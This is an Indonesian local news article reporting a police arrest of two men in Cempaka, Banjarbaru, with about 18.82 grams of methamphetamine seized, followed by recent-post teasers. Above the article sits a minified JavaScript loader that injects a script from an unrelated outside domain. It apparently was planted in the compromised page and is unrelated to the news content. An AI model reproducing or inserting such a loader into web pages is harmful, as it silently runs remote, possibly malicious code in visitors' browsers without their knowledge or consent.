(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Tangkap Dua Lelaki di Cempaka, Polsek Banjarbaru Utara Dapati 18 Gram Sabu


KANALKALIMANTAN.COM, BANJARBARU – Dua lelaki diduga pengedar narkotika di Jalan Trans Cempaka, Perumahan Gunung Sari Cempaka RT 36, Kecamatan Cempaka, Kota Banjarbaru, dibekuk polisi.

Adalah DW (46) dan AP (50) ditangkap oleh anggota unit Opsnal Polsek Banjarbaru Utara yang sedang berpatroli Operasi Antik Intan 2024, Kamis (23/5/2024) sekitar pukul 23.45 Wita.

Penangkapan diungkap Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Selasa (4/6/2024), mengatakan, bermula saat DW digeledah polisi kepadatan membawa paket kecil sabu.

Baca juga: Rudapaksa Anak Sendiri, ‘Aksi’ Ayah di Banjarmasin Kepergok Istri

“DW ditangkap hari Kamis di depan hotel Lerina Inn Kelurahan Kemuning, kemudian diamankan bersama barbuk awal yang diakuinya membeli dari seseorang bernama AP di daerah Cempaka,” ujar Kompol Yopie Andri Haryono, Selasa (4/6/2024) siang.

Dari pengakuan DW yang sebelumnya, polisi memastikan AP berada di dalam rumah.

Mengetahui informasi tersebut, anggota unit Opsnal Polsek Banjarbaru Utara yang dipimpin Panit 2 Opsnal Polsek Banjarbaru Utara Aiptu Sugeng Gunawan menuju rumah AP.

Baca juga: Kakek Asyikin Meninggal Terkepung Api, 7 Bangunan Hangus di Pasar Lama Banjarmasin

“Anggota kami mencoba mengetuk pintu rumah pelaku dan dibukakan oleh pelaku AP, langsung ditangkap oleh anggota,” lanjutnya.

Setelah menangkap AP, petugas kemudian menggeledah rumah tersangka yang disaksikan oleh Ketua RT setempat.

Petugas kepolisian menemukan paket diduga narkotika jenis sabu di dalam kotak kacamata yang disimpan dalam lemari milik AP.

Baca juga: Operasi Antik Intan Polres Banjarmasin Sita 6,7 Kg Sabu dan Dua Ribu Ekstasi

Narkotika jenis sabu yang ditemukan sebanyak 20,14 gram, sementara berat bersih narkotika 18,82 gram.

Kedua tersangka adalah pelaku peredaran gelap dan penyalahgunaan narkotika jenis sabu. Dari kasus ini kedua tersangka dikenakan ancaman tindak pidana peredaran gelap dan penyalahgunaan narkotika golongan 1 jenis sabu, sesuai dengan Pasal 114 ayat (1) dan atau Psl 112 ayat (1) UU RI Nomor 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

1 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

1 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

2 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

6 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

6 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

8 jam ago

This website uses cookies.